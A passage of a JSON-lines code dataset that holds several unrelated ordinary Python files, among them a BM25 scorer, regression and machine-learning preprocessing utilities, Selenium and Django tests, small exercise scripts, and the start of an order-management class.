i+1\n","sub_path":"pythonAlgos/removeDuplicates.py","file_name":"removeDuplicates.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"302832341","text":"import math\n\n# N: total num of doc in the collection;\n# fts: the array of num of doc that contain term t;\n# fdts: the array of frequency of term in doc d;\n# doclen: length of doc d;\n# doclen_avg: the average length of doc in the collection;\n\ndef bm25(N, fts, fdts, doclen, doclen_avg):\n\tk1 = 1.2\n\tb = 0.75\n\tK = k1 * ((1 - b) + b * doclen / doclen_avg)\n\tword_num = len(fts)\n\n\tscore = 0\n\tfor i in range(word_num):\n\t\tidf = math.log((N - fts[i] + 0.5) / (fts[i] + 0.5))\n\t\tif (idf < 0):\n\t\t\tidf = 0\n\t\tscore += idf * (k1 + 1) * fdts[i] / (K + fdts[i])\n\n\treturn score\n\n\n","sub_path":"src/query/ding/query/bm25.py","file_name":"bm25.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"192054834","text":"\n# coding: utf-8\n\n# In[66]:\n\nimport matplotlib.pyplot as plt\nimport numpy\nfrom sklearn import linear_model\nimport pandas as pd\n\n\n# In[67]:\n\nhousing=pd.read_csv('E:/AI/Workshop_AI_CODE/data/Housing_Data.csv',index_col=0)\n\n\n# In[68]:\n\nhousing.head()\n\n\n# In[82]:\n\nX=housing[['lotsize']]\nY=housing[['price']]\n\n\n# In[83]:\n\nfrom sklearn.model_selection import train_test_split\nxtrain,xtest,ytrain,ytest=train_test_split(X,Y)\n\n\n# In[84]:\n\nfrom sklearn.linear_model import LinearRegression\nlin=LinearRegression()\n\n\n# In[85]:\n\nlin.fit(xtrain,ytrain)\n\n\n# In[86]:\n\nlin.intercept_\n\n\n# In[87]:\n\nlin.coef_\n\n\n# In[28]:\n\npred=lin.predict(xtest)\n\n\n# In[34]:\n\nlin.predict([[30000,5,2,2]])\n\n\n# In[29]:\n\nfrom sklearn import metrics\nmetrics.mean_absolute_error(pred,ytest)\n\n\n# In[90]:\n\nfrom sklearn.preprocessing import PolynomialFeatures\n\npol=PolynomialFeatures(degree=3)\nX_pol=pol.fit_transform(X)\n\n\n# In[91]:\n\npol.fit(X_pol,Y)\n\n\n# In[92]:\n\nlinp=LinearRegression()\nlinp.fit(X_pol,Y)\n\n\n# In[93]:\n\nY.shape\n\n\n# In[96]:\n\nplt.scatter(X,Y)\nplt.plot(X,linp.predict(X_pol),color='green')\nplt.show()\n\n\n# In[98]:\n\nimport numpy as np\nX=np.array([[3,5,6.6,7,8.5]]).T\nY=np.array([[2,4.3,6.7,8,9.8]]).T\n\n\n# In[111]:\n\nfrom sklearn.preprocessing import PolynomialFeatures \n \npol = PolynomialFeatures(degree = 3) \nX_pol = pol.fit_transform(X) \n \npol.fit(X_pol, Y) \nlinp = LinearRegression() \nlinp.fit(X_pol, Y) \n\n\n# In[112]:\n\nX_pol\n\n\n# In[113]:\n\nplt.scatter(X, Y) \nplt.plot(X, linp.predict(X_pol), color = 'red') \nplt.show()\n\n\n# In[ ]:\n\n\n\n","sub_path":"Polynomial+Regression.py","file_name":"Polynomial+Regression.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"13453473","text":"import random\nimport time\nfrom selenium.webdriver import ActionChains\nimport browser\nfrom pageobjects.environments import Environments\nfrom pageobjects.networks import Networks\nfrom pageobjects.node_interfaces_settings import InterfacesSettings\nfrom pageobjects.nodes import Nodes\nfrom pageobjects.nodes import RolesPanel\nfrom pageobjects.nodes import NodeInfo\nfrom pageobjects.tabs import Tabs\nfrom tests import preconditions\nfrom tests.base import BaseTestCase\n\n\nclass TestConfigureNetworksPage(BaseTestCase):\n\n @classmethod\n def setUpClass(cls):\n BaseTestCase.setUpClass()\n preconditions.Environment.simple_flat()\n Environments().create_cluster_boxes[0].click()\n Nodes().add_nodes.click()\n Nodes().nodes_discovered[0].checkbox.click()\n RolesPanel().controller.click()\n Nodes().apply_changes.click()\n time.sleep(1)\n\n def setUp(self):\n BaseTestCase.setUp(self)\n Environments().create_cluster_boxes[0].click()\n Nodes().nodes[0].details.click()\n NodeInfo().edit_networks.click()\n\n def test_drag_and_drop(self):\n with InterfacesSettings() as s:\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['storage'],\n s.interfaces[1].networks_box).perform()\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['management'],\n s.interfaces[2].networks_box).perform()\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['vm (fixed)'],\n s.interfaces[2].networks_box).perform()\n\n self.assertIn(\n 'storage', s.interfaces[1].networks,\n 'storage at eht1')\n self.assertIn(\n 'management', s.interfaces[2].networks,\n 'management at eht2')\n self.assertIn(\n 'vm (fixed)', s.interfaces[2].networks,\n 'vm (fixed) at eht2')\n\n def test_public_floating_grouped(self):\n with InterfacesSettings() as s:\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['public'],\n s.interfaces[1].networks_box).perform()\n self.assertIn(\n 'floating', s.interfaces[1].networks,\n 'Floating has been moved')\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[1].networks['floating'],\n s.interfaces[2].networks_box).perform()\n self.assertIn(\n 'public', s.interfaces[2].networks,\n 'Public has been moved')\n\n def test_admin_pxe_is_not_dragable(self):\n with InterfacesSettings() as s:\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[2].networks['admin (pxe)'],\n s.interfaces[0].networks_box).perform()\n self.assertNotIn(\n 'admin (pxe)', s.interfaces[1].networks,\n 'admin (pxe) has not been moved')\n\n def test_two_untagged_on_interface(self):\n error = 'Untagged networks can not be assigned to one interface'\n with InterfacesSettings() as s:\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['public'],\n s.interfaces[2].networks_box).perform()\n self.assertIn(\n 'nodrag', s.interfaces[2].parent.get_attribute('class'),\n 'Red border')\n self.assertIn(\n error, s.interfaces[2].\n parent.find_element_by_xpath('./..').text,\n 'Error message is displayed'\n )\n self.assertFalse(s.apply.is_enabled(), 'Apply disabled')\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[2].networks['public'],\n s.interfaces[1].networks_box).perform()\n self.assertNotIn(\n 'nodrag', s.interfaces[2].parent.get_attribute('class'),\n 'Red border')\n self.assertNotIn(\n error, s.interfaces[2].\n parent.find_element_by_xpath('./..').text,\n 'Error message is displayed'\n )\n self.assertTrue(s.apply.is_enabled(), 'Apply enabled')\n\n def test_cancel_changes(self):\n with InterfacesSettings() as s:\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['public'],\n s.interfaces[1].networks_box).perform()\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['storage'],\n s.interfaces[2].networks_box).perform()\n\n s.cancel_changes.click()\n time.sleep(1)\n self.assertIn(\n 'storage', s.interfaces[0].networks,\n 'storage at eht0')\n self.assertIn(\n 'public', s.interfaces[0].networks,\n 'public at eht0')\n self.assertIn(\n 'floating', s.interfaces[0].networks,\n 'floating at eht0')\n\n\nclass TestConfigureNetworks(BaseTestCase):\n\n @classmethod\n def setUpClass(cls):\n BaseTestCase.setUpClass()\n\n def setUp(self):\n BaseTestCase.clear_nailgun_database()\n BaseTestCase.setUp(self)\n\n preconditions.Environment.simple_flat()\n Environments().create_cluster_boxes[0].click()\n Nodes().add_nodes.click()\n Nodes().nodes_discovered[0].checkbox.click()\n RolesPanel().controller.click()\n Nodes().apply_changes.click()\n time.sleep(1)\n Nodes().nodes[0].details.click()\n NodeInfo().edit_networks.click()\n\n def test_save_load_defaults(self):\n with InterfacesSettings() as s:\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['public'],\n s.interfaces[1].networks_box).perform()\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['storage'],\n s.interfaces[2].networks_box).perform()\n s.apply.click()\n time.sleep(1)\n self.refresh()\n with InterfacesSettings() as s:\n self.assertIn(\n 'storage', s.interfaces[2].networks,\n 'storage at eht2')\n self.assertIn(\n 'public', s.interfaces[1].networks,\n 'public at eht1')\n self.assertIn(\n 'floating', s.interfaces[1].networks,\n 'floating at eht1')\n s.load_defaults.click()\n time.sleep(1)\n self.assertIn(\n 'storage', s.interfaces[0].networks,\n 'storage at eht0')\n self.assertIn(\n 'public', s.interfaces[0].networks,\n 'public at eht0')\n self.assertIn(\n 'floating', s.interfaces[0].networks,\n 'floating at eht0')\n\n def test_configure_interfaces_of_several_nodes(self):\n # Go back to nodes page\n Tabs().nodes.click()\n # Add second node\n Nodes().add_nodes.click()\n Nodes().nodes_discovered[0].checkbox.click()\n RolesPanel().compute.click()\n Nodes().apply_changes.click()\n time.sleep(1)\n # rearrange interfaces\n with Nodes() as n:\n n.select_all.click()\n n.configure_interfaces.click()\n with InterfacesSettings() as s:\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['public'],\n s.interfaces[1].networks_box).perform()\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['management'],\n s.interfaces[1].networks_box).perform()\n ActionChains(browser.driver).drag_and_drop(\n s.interfaces[0].networks['storage'],\n s.interfaces[2].networks_box).perform()\n s.apply.click()\n time.sleep(1)\n\n for i in range(2):\n # Go to nodes page\n Tabs().nodes.click()\n # Verify interfaces settings of each node\n Nodes().nodes[i].details.click()\n NodeInfo().edit_networks.click()\n self.assertIn(\n 'public', s.interfaces[1].networks,\n 'public at eht1. Node #{0}'.format(i))\n self.assertIn(\n 'management', s.interfaces[1].networks,\n 'management at eht1. Node #{0}'.format(i))\n self.assertIn(\n 'storage', s.interfaces[2].networks,\n 'storage at eht2. Node #{0}'.format(i))\n\n def test_vlan_id_labels_visibility(self):\n label = 'VLAN ID'\n Tabs().networks.click()\n with Networks() as n:\n n.management.vlan_tagging.click()\n n.storage.vlan_tagging.click()\n n.fixed.vlan_tagging.click()\n n.save_settings.click()\n time.sleep(1)\n Tabs().nodes.click()\n Nodes().nodes[0].details.click()\n NodeInfo().edit_networks.click()\n with InterfacesSettings() as s:\n self.assertNotIn(\n label, s.interfaces[0].networks['storage'].text,\n 'vlan id is visible. Storage network')\n self.assertNotIn(\n label, s.interfaces[0].networks['management'].text,\n 'vlan id is visible. Management network')\n self.assertNotIn(\n label, s.interfaces[0].networks['vm (fixed)'].text,\n 'vlan id is visible. VM (Fixed) network')\n\n def test_vlan_id_values(self):\n label = 'VLAN ID: {0}'\n vlans = [random.randint(110, 200) for i in range(3)]\n Tabs().networks.click()\n with Networks() as n:\n n.management.vlan_id.clear()\n n.management.vlan_id.send_keys(vlans[0])\n\n n.storage.vlan_id.clear()\n n.storage.vlan_id.send_keys(vlans[1])\n\n n.fixed.vlan_id.clear()\n n.fixed.vlan_id.send_keys(vlans[2])\n\n n.save_settings.click()\n time.sleep(1)\n\n Tabs().nodes.click()\n Nodes().nodes[0].details.click()\n NodeInfo().edit_networks.click()\n with InterfacesSettings() as s:\n self.assertIn(\n label.format(vlans[0]),\n s.interfaces[0].networks['management'].text,\n 'vlan id is correct. Management network')\n self.assertIn(\n label.format(vlans[1]),\n s.interfaces[0].networks['storage'].text,\n 'vlan id is correct. Storage network')\n self.assertIn(\n label.format(vlans[2]),\n s.interfaces[0].networks['vm (fixed)'].text,\n 'vlan id is correct. VM (Fixed) network')\n","sub_path":"fuelweb_ui_test/tests/test_configure_networks.py","file_name":"test_configure_networks.py","file_ext":"py","file_size_in_byte":10873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"151200558","text":"from django.core.urlresolvers import reverse\nfrom django.core.cache import cache\nimport test_utils\n\nfrom challenges.models import Submission\nfrom challenges.tests.fixtures import (challenge_setup, challenge_teardown,\n create_submissions)\nfrom ignite.tests.decorators import ignite_only\n\n\nclass SplashViewTest(test_utils.TestCase):\n \n def setUp(self):\n challenge_setup()\n cache.clear()\n \n def tearDown(self):\n challenge_teardown()\n \n @ignite_only\n def test_splash_page(self):\n response = self.client.get(reverse('challenge_show'))\n self.assertEqual(response.status_code, 200)\n \n @ignite_only\n def test_splash_page_with_entries(self):\n create_submissions(30)\n response = self.client.get(reverse('challenge_show'))\n self.assertEqual(response.status_code, 200)\n self.assertEqual(len(response.context['entries']), 5)\n \n @ignite_only\n def test_splash_draft_entries(self):\n \"\"\"Test draft entries aren't shown on the splash page.\"\"\"\n create_submissions(3)\n submissions = Submission.objects.all()\n hidden = submissions[0]\n hidden.is_draft = True\n hidden.save()\n \n response = self.client.get(reverse('challenge_show'))\n self.assertEqual(set(response.context['entries']),\n set(submissions[1:]))\n \n","sub_path":"apps/ignite/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"195375107","text":"from django import forms\nfrom .models import Post, Comment, Image\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth.models import User\n\nclass PostForm(forms.ModelForm):\n category = forms.MultipleChoiceField(\n label='Categories', \n widget=forms.CheckboxSelectMultiple, \n choices=Post.CHOICES\n )\n\n class Meta:\n model = Post\n fields = ( 'title', 'category', 'text')\n\nclass ImageForm(forms.ModelForm):\n class Meta:\n model = Image\n fields = ['image',]\n##여러개의 이미지를 올리기 위해서 formset을 사용함/ 이미지 폼을 갖고와 엮어서 폼셋으로 만들어주는 역할을 함##\nImageFormSet = forms.inlineformset_factory(Post, Image, form=ImageForm, extra=10)\n#inlineformset_factory(부모모델, 우리가 만드는 모델, 기본으로 들고오는 폼이미지 폼, 이미지의 개수)#\nclass NewUserForm(UserCreationForm):\n email = forms.EmailField(required=True)\n\n class Meta:\n model = User\n fields = [\"username\",\"email\",\"password1\",\"password2\"]\n\n def save(self, commit=True):\n user = super(NewUserForm, self).save(commit=False)\n user.email = self.cleaned_data['email']\n if commit:\n user.save()\n return user\n\nclass CommentForm(forms.ModelForm):\n class Meta:\n model = Comment\n fields = ['text']","sub_path":"yblog/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"317043734","text":"'''\nCreated on 2018年3月28日\n\n@author: IL MARE\n'''\nimport csv\nimport numpy as np\nimport re\nimport Util.RandomUtil as RandomUtil\nfrom Lib import RFLib as RFLib\n\nfilePath = r\"G:\\研究生课件\\数据挖掘\\实验数据\"\n\n'''\n==========================与随机森林及决策树有关的工具类==============================\n'''\n'''\n为随机森林模型及决策树模型产生数据,函数接受一个csv文件的文件名,具体路径在filePath中写明\n'''\ndef loadDataForRMOrDTModel(filename):\n try:\n fp = open(\"{0}/{1}.csv\".format(filePath, filename), \"r\")\n reader = csv.reader(fp)\n trainSet = []\n trainLabel = []\n reader.__next__()\n for line in reader:\n tmp_lst = []\n for msg in line[0].split(\";\"):\n tmp_lst.append(re.search(r\"[0-9a-zA-Z.-]+\", msg)[0])\n trainSet.append(tmp_lst[0: -1])\n trainLabel.append(tmp_lst[-1])\n return processData(trainSet), trainLabel\n except Exception as e:\n print(e)\n finally:\n fp.close()\n'''\n该函数为随机森林服务,将原始数据集中的连续值离散化,便于随机森林处理\n'''\ndef processData(trainSet):\n for row in trainSet:\n if float(row[0]) < 20:\n row[0] = \"1\"\n elif float(row[0]) >= 20 and float(row[0]) < 30:\n row[0] = \"2\"\n elif float(row[0]) >= 30 and float(row[0]) < 40:\n row[0] = \"3\"\n elif float(row[0]) >= 40 and float(row[0]) < 50:\n row[0] = \"4\"\n elif float(row[0]) >= 50 and float(row[0]) < 60:\n row[0] = \"5\"\n elif float(row[0]) >= 60 and float(row[0]) < 70:\n row[0] = \"6\"\n else:\n row[0] = \"7\"\n row[10] = str(float(row[10]) // 30 + 1)\n row[-2] = str(float(row[-2]) // 0.1 + 1)\n return trainSet\n\n'''\n==========================与SVM及对数回归有关的工具类==============================\n'''\n'''\n为SVM及对数回归模型产生数据,函数接受一个csv文件的文件名,具体路径在filePath中写明\n'''\nglobal_var = {1:['blue-collar', 'entrepreneur', 'unemployed', 'admin.', 'retired', 'services', \\\n 'technician', 'self-employed', 'management', 'housemaid', 'student'],\n 2:['single', 'married', 'divorced'],\n 4:['yes', 'no'],\n 5:['yes', 'no'],\n 6:['yes', 'no'],\n 7:['cellular', 'telephone'],\n 14:['failure', 'success', 'nonexistent']}\n\nglobal_var_order = {3:['illiterate', 'basic.4y', 'basic.6y', 'basic.9y', 'high.school', 'professional.course', 'university.degree'],\n 8:['mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec'],\n 9:['mon', 'tue', 'wed', 'thu', 'fri']}\n'''\n读取处理好的数据,加快模型测试速度\n'''\ndef loadTempDataForSVMOrLRModel(filename):\n try:\n fp = open(\"{0}/{1}.csv\".format(filePath, filename), \"r\")\n reader = csv.reader(fp)\n trainSet = []\n trainLabel = []\n for line in reader:\n trainSet.append(line[0: -1])\n trainLabel.append(int(line[-1]))\n return trainSet, trainLabel\n except Exception as e:\n print(e)\n finally:\n fp.close()\n'''\n为SVM和对数回归模型生成数据,重点的功能是将数据量化处理\n'''\ndef loadDataForSVMOrLRModel(filename, modelType=\"lr\"):\n try:\n fp = open(\"{0}/{1}.csv\".format(filePath, filename), \"r\")\n reader = csv.reader(fp)\n trainSet = []\n trainLabel = []\n reader.__next__()\n for line in reader:\n tmp_lst = []\n for msg in line[0].split(\";\"):\n tmp_lst.append(re.search(r\"[0-9a-zA-Z.-]+\", msg)[0])\n trainSet.append(tmp_lst[0: -1])\n trainLabel.append(tmp_lst[-1])\n fullfilltheUnknownValue(trainSet, trainLabel)\n quantizedData(trainSet, trainLabel, modelType)\n normalData(trainSet, modelType)\n return trainSet, trainLabel\n except Exception as e:\n print(e)\n finally:\n fp.close()\n'''\n正规化数据\n'''\ndef normalData(trainSet, modelType):\n tmp_lst = []\n for i in range(len(trainSet[0])):\n tmp_lst.append(np.array([item[i] for item in trainSet], dtype=np.float))\n for i in range(len(tmp_lst)):\n item = tmp_lst[i]\n tmp_lst[i] = (item.min(), item.max(), item.mean(), item.std())\n for i in range(len(trainSet)):\n for j in range(len(trainSet[i])):\n val = tmp_lst[j]\n if modelType == \"lr\":\n trainSet[i][j] = (float(trainSet[i][j]) - val[0]) / (val[1] - val[0])\n else:\n trainSet[i][j] = (float(trainSet[i][j]) - val[2]) / val[3]\n'''\n为随机森林预测模型产生数据,该函数的作用是删除数据集中unknown的数据\n'''\ndef formatTrainSet(trainSet, trainLabel, axis):\n dataSet = []\n for item in trainSet:\n dataSet.append(item.copy())\n labelSet = trainLabel.copy()\n value_set = set()\n del_index = []\n for i in range(len(dataSet)):\n temp = dataSet[i][axis]\n if temp == \"unknown\":\n del_index.append(i)\n else:\n value_set.add(temp)\n dataSet[i][axis] = labelSet[i]\n labelSet[i] = temp\n for i in range(len(del_index)):\n index = del_index[i] - i\n del dataSet[index]\n del labelSet[index]\n return dataSet, labelSet, value_set\n'''\n训练随即森林模型用于预测缺失值\n'''\ndef trainPredictRandomForest(trainSet, trainLabel, axis):\n dataSet, labelSet, value_set = formatTrainSet(trainSet, trainLabel, axis)\n dataSet1, labelSet1 = underSampling(dataSet, labelSet, *value_set)\n forest = RFLib.generateRandomForest(dataSet1, labelSet1, 19)\n return forest\n'''\n遍历数据集,将原始数据集中的缺失值补上\n'''\ndef predictValue(dataSet, labelSet, axis):\n forest = trainPredictRandomForest(dataSet, labelSet, axis)\n for item in zip(dataSet, labelSet):\n if item[0][axis] == \"unknown\":\n tmp_lst = item[0][0:axis]\n tmp_lst.extend([item[1]])\n tmp_lst.extend(item[0][axis + 1:])\n predict = RFLib.predictByRandomForest(forest, tmp_lst)\n item[0][axis] = predict\n'''\n该函数用于将数据集中为unknown的属性值都用随机森林预测值来补上\n'''\ndef fullfilltheUnknownValue(dataSet, labelSet):\n predict_set = set()\n for data, label in zip(dataSet, labelSet):\n for i in range(len(data)):\n if data[i] == \"unknown\":\n predict_set.add(i)\n for index in predict_set:\n predictValue(dataSet, labelSet, index)\n'''\n将原始数据集中的离散值量化\n'''\ndef quantizedData(dataSet, labelSet, modelType=\"lr\"):\n if modelType == \"lr\":\n for i in range(len(labelSet)):\n if labelSet[i] == \"no\":\n labelSet[i] = 0\n else:\n labelSet[i] = 1\n else:\n for i in range(len(labelSet)):\n if labelSet[i] == \"no\":\n labelSet[i] = -1\n else:\n labelSet[i] = 1\n global global_var_order, global_var\n index_lst = [index for index in global_var_order.keys()]\n index_lst.extend([index for index in global_var.keys()])\n index_lst = sorted(index_lst)\n for i in range(len(dataSet)):\n item = dataSet[i]\n tmp_lst = []\n for index in index_lst:\n variable = generateDummyVar(item[index], index) if generateDummyVar(item[index], index) \\\n else generateOrderVar(item[index], index)\n if variable == None:\n raise NameError(\"变量量化失败\")\n tmp_lst.append((index, variable))\n dataSet[i] = generateNewList(item, tmp_lst)\n'''\n根据量化值扩展远列表\n'''\ndef generateNewList(oldList, tmp_lst):\n return_mat = []\n index_set = list()\n for item in tmp_lst:\n index_set.append(item[0])\n for i in range(len(oldList)):\n if i in index_set:\n for item in tmp_lst[0][1]:\n return_mat.append(item)\n del tmp_lst[0]\n else:\n return_mat.append(oldList[i])\n return return_mat\n'''\n对无序离散值生成哑变量\n'''\ndef generateDummyVar(variable, index):\n global global_var\n var_list = global_var.get(index, None)\n if var_list == None:\n return None\n num_dumm = len(var_list) - 1\n retrun_mat = [0] * num_dumm\n for i in range(num_dumm):\n var = var_list[i]\n if var == variable:\n retrun_mat[i] = 1\n return retrun_mat\n return retrun_mat\n'''\n对有序离散值生成连续变量\n'''\ndef generateOrderVar(variable, index):\n global global_var_order\n var_list = global_var_order.get(index, None)\n if var_list == None:\n return None\n for i in range(len(var_list)):\n if variable == var_list[i]:\n return [i + 1]\n return None\n'''\n=================================通用工具函数==========================================\n'''\n'''\n该函数用语欠抽样原始数据集,由于原始数据集中类别不平衡,正例只有反例的十分之一\n为了模型的泛化能力,需要欠抽样来保证正例和反例数目相同\n'''\n\ndef underSampling(dataSet, labelSet, *args):\n trainSet = dataSet.copy()\n trainLabel = labelSet.copy()\n labelcount_lst = []\n for label in args:\n labelcount_lst.append((trainLabel.count(label), label))\n labelcount_lst = sorted(labelcount_lst, key=lambda item:item[0])\n min_val, labelName = labelcount_lst[0]\n label_set = set(args) - set([labelName])\n for label in label_set:\n tmp_set = set()\n for item in enumerate(trainLabel):\n if item[1] == label:\n tmp_set.add(item[0])\n indexSet = RandomUtil.generateRandomIndex(tmp_set, min_val)\n del_set = tmp_set - indexSet\n del_set = sorted(list(del_set))\n for i in range(len(del_set)):\n index = del_set[i] - i\n del trainSet[index]\n del trainLabel[index]\n return trainSet, trainLabel\n\n'''\n该方法在欠抽样后的数据集上工作,使用自助法产生训练集和测试集,训练集大小为愿数据集大小的62%\n测试集大小为原始数据集大小的32%\n'''\ndef generateTrainSet(dataSet, labelSet):\n trainSet = []\n trainLabel = []\n testSet = []\n testLabel = []\n m = len(labelSet)\n trainIndex = set()\n totalIndex = set()\n for i in range(m):\n index = np.random.randint(0, m, 1)[0]\n trainIndex.add(index)\n totalIndex.add(i)\n trainSet.append(dataSet[index])\n trainLabel.append(labelSet[index])\n for item in totalIndex - trainIndex:\n testSet.append(dataSet[item])\n testLabel.append(labelSet[item])\n return trainSet, trainLabel, testSet, testLabel","sub_path":"LinearRegression/Util/DataUtil.py","file_name":"DataUtil.py","file_ext":"py","file_size_in_byte":10883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"187832533","text":"def print_list():\n if not my_list:\n print(\"The list is empty!\")\n else:\n print(my_list)\n\n\ndef main():\n my_list = []\n\n # Δημιουργώ έναν ατέρμονα βρόγχο\n while True:\n print(\n '==== Welcome to your first menu ====\\n'\n '1) Add item to list\\n'\n '2) Delete number from list\\n'\n '3) Print list\\n'\n '4) Maximum number in list\\n'\n '5) Minimum number in list\\n'\n '6) Sort Ascending\\n'\n '7) Sort Descending\\n'\n '0) Quit\\n'\n )\n\n choice = int(input(\"What do you want to do this time? : \"))\n\n if choice == 1: # Εισαγωγή στοιχείου στην λίστα\n num = int(input(\"What's the number you want to add? : \"))\n my_list.append(num)\n elif choice == 2: # Διαγραφή στοιχείου απο την λίστα\n num = int(input(\"What's the number you want to delete? : \"))\n my_list.remove(num)\n\n # Ερώτηση... Πως βγάζουμε μήνυμα λάθους αν το στοιχείο δεν είναι μέσα;\n elif choice == 3: # Εκτύπωση λίστας\n print_list()\n elif choice == 4: # Εύρεση μεγίστου\n result = max(my_list) # Αποθήκευση της μέγιστης τιμής της λίστας στην μεταβλητή \"result\"\n print(\"The biggest number is: \", result)\n elif choice == 5: # Εύρεση ελαχίστου\n print(\"The smallest number is: \", min(my_list))\n elif list == 6: # Ταξινόμηση αύξουσα\n my_list.sort()\n print_list()\n elif list == 7:\n my_list.sort(reverse=True)\n print_list()\n elif choice == 0: # Έξοδος προγράμματος\n print(\"Good bye, see you soon!\")\n break\n else: # Διαχείρηση λάθος τιμών μενού..\n print(\"You had 4 choices how can you mess up ... try again!\")\n\n print(\"The program has exited\") # Βοηθητικό μήνυμα για να δείξουμε οτι βγήκαμε απο τον ατέρμονα βρόγχο\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Workshops/11.03.2018 - Python. The Basics - Volume 2 -/Excercises/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"320549235","text":"#encoding: UTF-8\n#Autor: Jesus Perea \n#Graficando vectores\n\nfrom Graphics import*\n\ndef dibujarCartesiano(w):\n linea1 = Line((300,0),(300,600))\n linea1.draw(w)\n lineaa = Line((0,300),(600,300))\n lineaa.draw(w)\n \ndef dibujarVector (w,magnitud, angulo):\n f = Arrow ((300,300),0)\n f.draw(w)\n f.rotate(angulo)\n f.penDown()\n f.forward(magnitud)\n f.penUp()\n \ndef main():\n angulo = int(input(\"Teclea el ángulo del vector\"))\n magnitud = int(input(\"Teclea la magnitud del vector\"))\n w = Window (600,600)\n dibujarVector (w,magnitud,angulo)\n dibujarCartesiano(w)\n \nmain() ","sub_path":"Graficando Vectores.py","file_name":"Graficando Vectores.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"57569679","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 19 18:40:01 2018\n\n@author: Shubham\n\"\"\"\n\nimport numpy as np\n\nclass Solution:\n def firstMissingPositive(self, nums):\n min_nums = 1000000\n max_nums = -1000000\n s = sum(nums)\n for i in range(len(nums)):\n if nums[i] > max_nums:\n max_nums = nums[i]\n if nums[i] < min_nums:\n min_nums = nums[i]\n \n if max_nums <= 0 :\n return 1\n elif min_nums >= 0:\n sumtotal = ((max_nums - min_nums) * (max_nums + min_nums + 1)) / 2\n print (sumtotal)\n t = sumtotal - s\n if t == 0:\n return max_nums + 1\n else:\n return t\n else:\n sumneg = - (abs(min_nums) * (abs(min_nums) + 1)) / 2\n sumpos = (abs(max_nums) * (abs(max_nums) + 1)) / 2\n return sumneg + sumpos - s\n \nif __name__ == \"__main__\":\n inp = [7,8,9,11,12]\n sol = Solution()\n ans = sol.firstMissingPositive(inp)\n print (ans)","sub_path":"leetcode/Python/41_missing_positive.py","file_name":"41_missing_positive.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"577780465","text":"#! /usr/bin/python3\n\nfrom brickpi3 import BrickPi3\n\nfrom helper import RobotBase, Canvas, Map\nfrom time import sleep\nfrom math import pi\n\nrobot = RobotBase(BrickPi3.PORT_B, BrickPi3.PORT_C)\ncanvas = Canvas(40)\nmymap = Map()\n\n\n# draw wall\nwall_corner = [(0,0), (0,40), (40,40), (40,0)]\nfor i in range(3):\n mymap.add_wall((*wall_corner[i], *wall_corner[i+1]))\nmymap.add_wall((*wall_corner[3], *wall_corner[0]))\n\n# draw lines\ncanvas.drawLines(mymap.walls)\n\n# init\nfor _ in range(4):\n for _ in range(4):\n robot.to_relative_forward(10) # *task unpack to arguments\n canvas.drawParticles(robot.p_tuples, robot.p_weights)\n print (f\"est postion:{robot.get_est_pos()}\")\n sleep(1)\n\n robot.to_relative_turn(0.5*pi)\n canvas.drawParticles(robot.p_tuples, robot.p_weights)\n sleep(1)","sub_path":"week5/sqr.py","file_name":"sqr.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"587638022","text":"# order_manage.py\n# 订单管理类\nfrom order import *\nfrom order_dao import *\n\nclass OrderManage:\n def __init__(self):\n self.order_dao = OrderDao() #持有数据访问对象\n\n #根据订单号查询订单\n def query_by_id(self, order_id): \n if not order_id:\n print(\"订单编号对象非法\")\n return None\n if order_id == \"\":\n print(\"订单编号不能为空\")\n return None\n\n return self.order_dao.query_by_id(order_id)\n\n # 查询所有订单\n def query_all_order(self):\n return self.order_dao.query_all_order()\n\n # 新增订单\n def insert_order(self, order): \n if (not order.order_id) or order.order_id == \"\":\n print(\"订单编号不能为空\")\n return\n\n if (not order.cust_id) or order.cust_id == \"\":\n print(\"客户编号不能为空\")\n return\n\n if order.products_num < 1:\n print(\"商品数量非法\")\n return\n\n if order.amt - 10.00 < 0.00001: # 订单金额小于10元\n 